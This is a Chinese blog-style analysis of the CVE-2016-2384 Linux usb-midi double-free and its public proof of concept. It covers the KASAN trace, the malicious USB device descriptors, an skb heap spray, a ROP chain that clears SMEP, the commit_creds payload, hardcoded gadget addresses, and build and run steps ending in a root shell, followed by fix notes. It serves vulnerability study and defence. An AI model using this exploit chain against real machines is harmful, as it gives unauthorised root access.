
网络安全操作系统【免费下载链接】linux-kernel-exploitslinux-kernel-exploits Linux平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/li/linux-kernel-exploits点击查看免费下载本文以 linux-kernel-exploits 仓库中 2016/CVE-2016-2384 目录为核心深入剖析 Linux 内核 usb-midi 驱动中由双重释放double free引发的释放后使用use-after-free漏洞并结合双组件 PoCpoc.c 用户态利用 poc.py 恶意 USB 设备模拟、KASAN 崩溃报告与设备描述符证据完整还原从恶意 USB 设备枚举到 skb 堆喷、栈迁移、ROP 链直至获取 root shell 的整条利用链。读完本文你将掌握该漏洞的触发原理、PoC 的编译运行方式、各配置项的含义与取值方法以及该漏洞适用的内核版本与前提条件。一、漏洞概览CVE-2016-2384 是 Linux 内核 usb-midisound/usb/midi.c驱动中的一个双重释放 / 释放后使用漏洞。仓库根目录 README.md 的漏洞列表中将其描述为 a double-free in USB MIDI driver影响Linux kernel 4.5 之前的版本。该漏洞由 Andrey Konovalovandreyknvlgmail.com发现并提交 PoC其特点与前提如下利用前提物理接触physical access。攻击者需要向目标机器插入一台经过改造的恶意 USB 设备硬件依赖Facedancer21 开发板。用于在硬件层面模拟恶意 USB 设备如 poc.py 注释所述影响后果普通用户进程可通过该漏洞在内核态执行任意代码最终以uid0获得 root shell仅运行设备模拟部分不配合用户态利用程序即可触发内核崩溃构成拒绝服务DoS攻击。二、披露时间线2016/CVE-2016-2384/README.md 中记录了完整的披露过程时间事件2016-02-13漏洞上报至securitykernel.org2016-02-13上游修复提交进入内核主线commit07d86ca93db7e5cdf4743564d98292042ec21af72016-02-14分配 CVE 编号 CVE-2016-23842016-02-22公开详细技术分析writeup与演示视频从时间线可以看出该漏洞从报告到修复仅用时一天属于典型的驱动错误路径清理缺陷。三、漏洞成因usb-midi 驱动中的双重释放3.1 涉及的内核函数漏洞发生在 usb-midi 驱动的三个核心函数之间的交互snd_usbmidi_create()创建 USB MIDI 设备对象在sound/usb/midi.c:2332处通过kzalloc分配struct snd_usb_midikmalloc-512 对象snd_usbmidi_free()释放函数在sound/usb/midi.c:1455处执行kfree其内部还会遍历读取midi-endpoints[i].out/.in指针snd_usbmidi_rawmidi_free()注册到 rawmidi 设备的 free 回调最终也会调用snd_usbmidi_free()。3.2 KASAN 报告还原触发路径仓库中的 kasan.txt及其原始日志 kasan-raw.txt记录了在 Linux 4.4.0QEMU 测试环境上触发漏洞时的 KASAN 报告核心信息如下BUG: KASAN: use-after-free in snd_usbmidi_free0x92/0xa0 at addr ffff88006a8c5da0 Read of size 8 by task kworker/0:2/928 BUG kmalloc-512 (Not tainted): kasan: bad access detected INFO: Allocated in snd_usbmidi_create0xb4/0x1dc0 ... sound/usb/midi.c:2332 INFO: Freed in snd_usbmidi_free0x7f/0xa0 ... sound/usb/midi.c:1455 INFO: Freed in snd_usbmidi_create0x11bc/0x1dc0 ... sound/usb/midi.c:2457结合报告中的调用栈可以还原出完整的触发链路分配usb_audio_probe→snd_usb_create_quirk→create_any_midi_quirk→snd_usbmidi_create在sound/usb/midi.c:2332分配snd_usb_midi对象kmalloc-512 slab报告显示Slab 0xffffea0001aa3100 objects10第一次释放snd_usbmidi_create在sound/usb/midi.c:2457的错误处理路径中调用snd_usbmidi_free于sound/usb/midi.c:1455执行kfree第二次访问UAF声卡释放流程snd_usbmidi_rawmidi_free→snd_rawmidi_free→snd_rawmidi_dev_free→__snd_device_free→snd_device_free_all→snd_card_do_free→release_card_device再次进入snd_usbmidi_free在sound/usb/midi.c:1449处对已释放对象执行 8 字节读取触发 KASAN 报告。也就是说snd_usbmidi_create的错误路径先释放了umidi但该对象同时已被 rawmidi 设备以snd_usbmidi_rawmidi_free的形式注册为 free 回调当声卡随后释放时回调再次访问同一块已释放内存形成双重释放 / UAF。整个触发过程发生在usb_hub_wq的hub_event工作队列中报告中的kworker/0:2即插入 USB 设备的枚举阶段这正是该漏洞只需要物理接触即可触发的原因。从设备侧看poc.py 模拟的设备暴露 0 个端点、vendor-specific 接口结合 KASAN 报告中分配与释放均位于snd_usbmidi_create内部这一事实可以推断触发点正是该函数在端点检测/初始化不满足条件时落入的错误处理路径——具体失败条件与模拟设备暴露的接口/端点描述符密切相关。四、PoC 架构总览硬件模拟 用户态利用该 PoC 由两个独立组件构成缺一不可组件文件作用USB 设备模拟端poc.py运行在 Facedancer21 开发板上在硬件层面模拟一台恶意 MIDI 设备负责触发内核双重释放用户态利用端poc.c运行在目标 Linux 主机上负责 skb 堆喷、ROP 链构造与提权收尾poc.py 的注释明确指出设备模拟部分单独运行即可造成拒绝服务denial of service攻击触发内核崩溃只有与用户态部分配合才能实现任意代码执行arbitrary code execution。用户态部分的整体流程对应 poc.c 中main/body/step_begin等函数为以普通用户身份启动映射 fake stack周期性执行堆喷 发送构造报文循环step_begin并反复检查是否已获得 rootcheck_root在此期间攻击者反复插拔恶意 USB 设备README 提示 Now plug in the device a few times当某一轮堆喷恰好命中被双重释放的 kmalloc-512 对象时控制流被劫持最终打印[] got r00t: uid0, euid0并弹出 root shell。由于堆喷与释放存在竞态PoC 建议同时运行 N 个实例N 为机器 CPU 数每个实例使用独立的端口区间PORT_BASE_1/2/3 id以提高命中的概率。五、恶意 USB 设备模拟poc.py device.txt5.1 Facedancer21 设备描述符配置poc.py 通过 Facedancer21 的 Python 库USBDevice、USBConfiguration、USBInterface等在硬件层面模拟设备。其关键描述符参数如下参数值说明bDeviceClass / SubClass / Protocol0 / 0 / 0设备类在接口层定义bMaxPacketSize064端点 0 最大包长idVendor0x0763MidimanidProduct0x1002MidiSport 2x2iManufacturer / iProductMidiman / MidiSport 2x2厂商与产品字符串接口号 / 备用设置0 / 0单接口bInterfaceClass255Vendor Specific Class厂商专用类bInterfaceSubClass / Protocol0 / 0—端点数量0不暴露任何端点5.2 device.txt实际枚举证据仓库中的 device.txt 是设备接入系统后的lsusb抓取记录可以视为模拟结果的实测证据其中与 PoC 配置一致的关键描述符为idVendor 0x0763 Midiman idProduct 0x1002 MidiSport 2x2 bInterfaceClass 255 Vendor Specific Class bNumEndpoints 0 MaxPower 100mA选择 Midiman MidiSport 2x20763:1002并非随意内核sound/usb/quirks.c中存在针对该系列 MIDI 设备的 quirk 表项探测时会走create_any_midi_quirk→snd_usbmidi_create这条路径——正是第 3 节所述双重释放发生的位置。模拟设备暴露 0 端点、vendor-specific 接口使snd_usbmidi_create的初始化/端点检测不满足 quirk 预期从而落入错误处理路径。运行方式上poc.py 依次实例化GoodFETSerialPort、Facedancer、MAXUSBApp并调用d.connect()/d.run()将模拟设备挂到 USB 总线上接入目标主机后目标内核在hub_event工作队列中完成枚举与探测漏洞随之触发。六、用户态利用链详解poc.cpoc.c 的利用链可拆解为五个阶段每一步都有清晰的源码对应。6.1 阶段一构造 fake stack 并部署 ROP 链mmap_stack()poc.c L175-L198在用户态地址0x81000000处即栈迁移 gadgetXCHG_EAX_ESP_RET低 32 位所在页通过MAP_FIXED映射一页 fake stack然后依次写入三条 ROP 子链#define CHAIN_SAVE_EAX \ *stack POP_RDI_RET; \ *stack (uint64_t)saved_eax; \ *stack MOV_DWORD_PTR_RDI_EAX_RET; #define CHAIN_SET_CR4 \ *stack POP_RDI_RET; \ *stack CR4_DESIRED_VALUE; \ *stack MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack POP_RCX_RET; \ *stack (uint64_t)payload; \ *stack JMP_RCX;各宏的语义CHAIN_SAVE_EAX将eax此时保存的是被交换前的旧esp低 32 位写入全局变量saved_eax供后续恢复栈指针使用CHAIN_SET_CR4将CR4_DESIRED_VALUE0x407f0写入 CR4 寄存器——该值清除了 SMEP 位bit 20使内核态后续可以执行用户态代码CHAIN_JMP_PAYLOAD跳转到用户态payload汇编代码。6.2 阶段二skb 堆喷回收释放对象双重释放后kmalloc-512 的snd_usb_midi对象进入 freelist。用户态通过两种方式制造 512 字节的 skb 进行回收step_beginpoc.c L387-L402client_send_message()发送 128 字节 UDP 报文如注释 Messages of 128 bytes result in 512 bytes skbuffs 所述产生 512 字节 skb 分配SKBUFFS_NUM 64次socket_sendmmsg()通过sendmmsg系统调用发送 512 字节报文报文负载即构造好的恶意 bufferMMSGS_NUM 256次。init_buffer()poc.c L151-L171将 512 字节报文负载组织为两层结构struct skb_shared_info *ssi (struct skb_shared_info *)buffer[192]; struct snd_usb_midi *midi (struct snd_usb_midi *)buffer[0];offset 0 起伪造的struct snd_usb_midi其endpoints[0..1].out/in全部清零注释说明用于 Prevents some crashes避免第二次snd_usbmidi_free遍历端点指针时解引用野指针offset 192 起伪造的struct skb_shared_info。sizeof(struct skb_shared_info)为 320 字节恰好占满 512 字节缓冲区的尾部512 − 320 192与内核为 512 字节 skb 预留的skb_shared_info位置重合——这是本利用的关键布局。6.3 阶段三destructor_arg → ubuf_info 回调劫持伪造的skb_shared_info中设置了两个关键字段poc.c L156-L158ssi-tx_flags 0xff; ssi-destructor_arg (uint64_t)ui; ui.callback XCHG_EAX_ESP_RET;其中ui是全局的伪造struct ubuf_infopoc.c L113-L117struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; uint64_t desc; };当该 skb 被释放用户态关闭 socket /step_end销毁收发端时内核的 skb 释放路径会读取skb_shared_info.destructor_arg并调用其指向的ubuf_info的callback回调。由于该回调被覆盖为XCHG_EAX_ESP_RETgadget0xffffffff8100008axchg eax, esp; ret控制流在此发生栈迁移rsp被切换到低 32 位为0x8100008a的 fake stack第 6.1 节已映射ret随即取出第一条 ROP gadget 地址ROP 链开始执行。6.4 阶段四payload 恢复栈并调用提权函数ROP 链执行完毕后JMP_RCX跳转到用户态payload汇编位于wrapper()内poc.c L96-L107payload: movq %%rbp, %%rax ; 取 rbp 高 32 位内核地址空间 movq $0xffffffff00000000, %%rdx andq %%rdx, %%rax movq %0, %%rdx ; saved_eax旧 esp 低 32 位 addq %%rdx, %%rax ; 拼出完整旧 rsp movq %%rax, %%rsp ; 恢复用户态栈 jmp get_rootpayload借助saved_eax第 6.1 节保存的旧esp低 32 位与rbp的高 32 位重建原始用户态栈指针然后跳转到get_root()void get_root(void) { commit_creds(prepare_kernel_cred(0)); }即经典的commit_creds(prepare_kernel_cred(0))提权手法——以 root 凭证覆盖当前进程的 credential。这里也解释了 poc.c 注释中的一条硬性约束所有使用的 gadget 必须保持rbp寄存器的初始值不变因为后续要靠它恢复rsp。wrapper()的写法本身也值得一提GCC 在 x86 上不支持__attribute__((naked))用于省略函数序言作者因此用普通函数内的内联汇编打上payload:标签作为变通并在注释中调侃 Clang does support it... Funny。6.5 阶段五检测 root 并弹出 shellcheck_root()poc.c L364-L373检测getuid() 0成功后打印[] got r00t: uid0, euid0并先 fork 再 exec/bin/sh -i。注释解释了为何不直接 execfork 避免在提权后释放 skbuffs从而规避分配器被破坏可能引发的崩溃。七、编译、运行与配置要点7.1 需要按目标内核修改的常量poc.c 顶部L49-L60硬编码了一组内核符号与 gadget 地址注释明确说明这些值必须针对目标内核重新获取宏示例值获取方式COMMIT_CREDS0xffffffff810957e0启动目标内核后grep /proc/kallsyms查找commit_credsPREPARE_KERNEL_CRED0xffffffff81095ae0同上查找prepare_kernel_credXCHG_EAX_ESP_RET0xffffffff8100008aROPgadget 工具搜索xchg eax, esp; retPOP_RDI_RET0xffffffff8118991dROPgadget 搜索pop rdi; retMOV_DWORD_PTR_RDI_EAX_RET0xffffffff810fff17ROPgadget 搜索MOV_CR4_RDI_RET0xffffffff8105b8f0ROPgadget 搜索POP_RCX_RET0xffffffff810053bcROPgadget 搜索JMP_RCX0xffffffff81040a90ROPgadget 搜索CR4_DESIRED_VALUE0x407f0目标 CR4 值必须清除 SMEP 位两点重要的兼容性约束KASLR地址为硬编码意味着目标内核需关闭 KASLR或在每次启动后手动更新全部地址SMEPCR4_DESIRED_VALUE 0x407f0的 bit 20SMEP为 0ROP 链会先将 CR4 改写为该值再跳转用户态 payload若目标平台开启 SMEP 且无法改写 CR4则利用无法完成。7.2 编译与运行poc.c 头部的 Usage 注释给出了完整流程# 1. 编辑源码设置内核符号与 ROP gadget 地址 # 2. 编译-masmintel 使用 Intel 语法内联汇编 $ gcc poc.c -masmintel # 3. 并行运行 N 个实例N 为目标机器 CPU 数 # 参数从 0 递增到 N-1 $ ./a.out 0 ./a.out 1 ... [] starting as: uid1000, euid1000 [] payload addr: 0x400b60 [] fake stack mmaped [] plug in the usb device... # 4. 反复插拔恶意 USB 设备 # 若某实例竞态获胜且内核未崩溃将看到 [] got r00t: uid0, euid0 # id uid0(root) gid0(root) groups0(root)各输出行对应源码中的关键节点[] starting as打印当前 uid/euid[] payload addr打印用户态 payload 地址示例0x400b60说明程序需编译为非 PIE 的固定基址布局[] fake stack mmaped表示 fake stack 映射成功随后进入body()的循环堆喷阶段等待插拔设备触发漏洞。7.3 端口与循环参数step_begin/body使用三组端口基址poc.c L377-L382实例id作为偏移避免多实例冲突#define PORT_BASE_1 4100 #define PORT_BASE_2 4200 #define PORT_BASE_3 4300 #define SKBUFFS_NUM 64 #define MMSGS_NUM 256body()先发送 512 条 128 字节报文预热堆然后循环执行step_begin堆喷→check_root检测提权→step_end释放 socket触发 skb 释放回调直至成功。八、修复与缓解建议上游修复内核在 2016-02-13 即完成修复提交为07d86ca93db7e5cdf4743564d98292042ec21af7核心是修正snd_usbmidi_create错误路径与 rawmidi free 回调之间的重复释放问题受影响版本为Linux 4.5 之前升级内核即可彻底修复利用门槛本漏洞需要攻击者拥有物理接触条件插入 USB 设备因此在部署层面限制物理端口访问、启用 USB 设备接入管控如禁用未授权 USB 设备、使用 USBGuard 等可显著降低风险防护机制开启 SMEP/KASLR 会提高利用难度PoC 依赖关闭 KASLR 与可改写 CR4 的前提但不能替代内核升级这一根本修复。九、小结CVE-2016-2384 是一个典型的驱动错误路径清理不彻底型漏洞一次失败探测在snd_usbmidi_create内触发双重释放被释放的 kmalloc-512 对象随后被 skb 回收借助skb_shared_info.destructor_arg → ubuf_info.callback的释放回调机制完成控制流劫持最终以commit_creds(prepare_kernel_cred(0))获取 root。该案例在利用手法上极具代表性——heap 释放对象与 skb 缓冲区的结构重叠、栈迁移 gadget 与 fake stack 配合、ROP 链对 SMEP 的绕过以及硬件模拟设备 用户态堆喷的双组件 PoC 架构都值得作为内核漏洞利用研究的参考样本。仓库中 poc.c、poc.py、device.txt 与 kasan.txt 四份文件相互印证完整地呈现了从漏洞定位、触发、利用到提权的全过程。赞分享网络安全操作系统【免费下载链接】linux-kernel-exploitslinux-kernel-exploits Linux平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/li/linux-kernel-exploits点击查看免费下载相关推荐linux-kernel-exploits 中的 CVE-2014-4699ptrace/sysret 本地权限提升 PoC 深度剖析linux kernel exploits 中的 CVE 2014 4699ptrace/sysret 本地权限提升 PoC 深度剖析 CVE 2014 46网络安全操作系统CVE-2013-1763 深度解析sock_diag 数组越界本地提权漏洞与 linux-kernel-exploits 仓库 PoC 实战CVE 2013 1763 深度解析sock_diag 数组越界本地提权漏洞与 linux kernel exploits 仓库 PoC 实战 本文以 lin网络安全操作系统CVE-2015-1328 overlayfs 提权漏洞原理与利用实战linux-kernel-exploits 仓库 ofs.c 深度解析CVE 2015 1328 overlayfs 提权漏洞原理与利用实战linux kernel exploits 仓库 ofs.c 深度解析 本文以 linu网络安全操作系统上一篇WarcraftHelper终极指南让魔兽争霸3在现代PC上焕发新生下一篇如何用3分钟实现闲鱼商品数据自动化采集终极完整指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考